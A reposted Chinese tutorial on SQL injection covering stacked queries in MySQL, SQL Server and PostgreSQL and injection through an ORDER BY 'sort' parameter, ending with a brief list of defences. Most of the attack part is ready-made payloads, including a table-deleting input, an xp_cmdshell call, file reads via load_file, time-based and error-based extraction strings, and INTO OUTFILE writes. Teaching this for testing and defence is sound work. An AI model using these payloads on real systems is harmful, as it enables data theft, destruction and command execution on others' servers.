sql注入详解

Posted 红客突击队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入详解 相关的知识,希望对你有一定的参考价值。

sql注入详解 (五)





12、堆叠注入

 堆叠注入(Stacked injections)
从名词的含义就可以看到是一堆 sql 语句(多条)一起执行

  原理

在 SQL 中,分号 ; 是用来表示一条 sql 语句的结束
在 ; 结束一个 sql语句后继续构造下一条语句,会不会一起执行?这就是堆叠注入
与union injection (联合注入)的区别:union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

例如以下这个例子:

用户输入:

1; DELETE FROM products

服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)

Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

局限性

主要是以下几个问题:

  堆叠注入并不是每一个环境下都可以执行
  可能受到 API 或者数据库引擎不支持的限制
  权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

  在我们的 web 系统中,因为代码通常只返回一个查询结果,因此堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用 union(联合)注入

  同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息


各个数据库实例介绍

1、mysql 数据库

新建一个表

select * from users where id=1;create table test like users;show tables;

删除上面新建的 test 表

select * from users where id=1;drop table test;show tables;

查询数据

select * from users where id=1;select 1,2,3;

加载文件

select * from users where id=1;select load_file('c:/tmpupbbn.php');

修改数据

select * from users where id=1;insert into users(id,username,password) values('100','new','new');select * from users;


2、sql server

增加数据表

select * from test;create table sc3(ss CHAR(8));

删除数据表

select * from test;drop table sc3;

查询数据

select 1,2,3;select * from test;

修改数据

select * from test;update test set name='test' where id=3;

sqlserver 中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'


3、Oracle 数据库

上面的介绍中我们已经提及, oracle 不能使用堆叠注入


4、Postgresql 数据库

新建一个表

select * from user_test;create table user_data(id DATE);select * from user_data;

删除上面新建的user_data 表

select * from user_test;delete from user_data;

查询数据

select * from user_test;select 1,2,3;

修改数据

select * from user_test;update user_test set name='modify' where name='张三';select * from user_data;

13、order by后的注入

测试

?sort=1 desc--+?sort=1 asc--+

显示结果不同,说明可以注入

  desc是 descend 降序意思

  asc 是 ascend 升序意思

可利用 order by 后的一些参数进行注入

也就是构造order by 后的一个语句,让该语句执行结果为一个数
我们尝试

?sort=right(version(),1)--+?sort=left(version(),1)--+

没有报错,说明数字没有起作用

考虑布尔类型、报错注入和延时注入
可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式:

  直接添加注入语句,?sort=(select ***)

  利用一些函数。例如 rand()函数等,?sort=rand(sql 语句)

  利用 and,例如 ?sort=1 and (加 sql 语句)

报错型注入

?sort=(select(要注入的语句))--+?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))--+

布尔型注入

?sort=rand(要注入的语句)--+?sort=rand(ascii(left(database(),1))=115)--+?sort=rand(true)--+?sort=rand(false)--+

rand(true)和 rand(false)的结果是不一样的,说明注入成功

延时型注入

?sort=1 and (要注入的语句)--+
?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))--+
?sort=1 and (select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)--+
?sort=1 and (left(database(),2)>'sa')--+

procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入
同时,在 procedure analyse 和 order by 之间可以存在limit 参数
我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 rocedure analyse 进行注入

?sort=1 procedure analyse (extractvalue(1,concat(0x7e,(你希望的查询语句))))--+?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+?sort=1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)--+
select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)

将查询结果导入到文件当中

?sort=1 into outfile "/tmp/test1.txt"--+?sort=1 and (select group_concat(username) from security.users limit 0,1) into outfile "/tmp/test1.txt"--+


14、防御措施

简单的防御措施

  构造sql语句时使用参数化形式

  采用sql语句预编译和绑定变量

  严格的过滤

  使用SQL Server数据库自带的安全参数

  设置陷阱账号


以上是关于sql注入详解 的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入详解

SQL注入详解

sql注入详解

sql注入详解

SQL注入详解

SQL注入详解-转发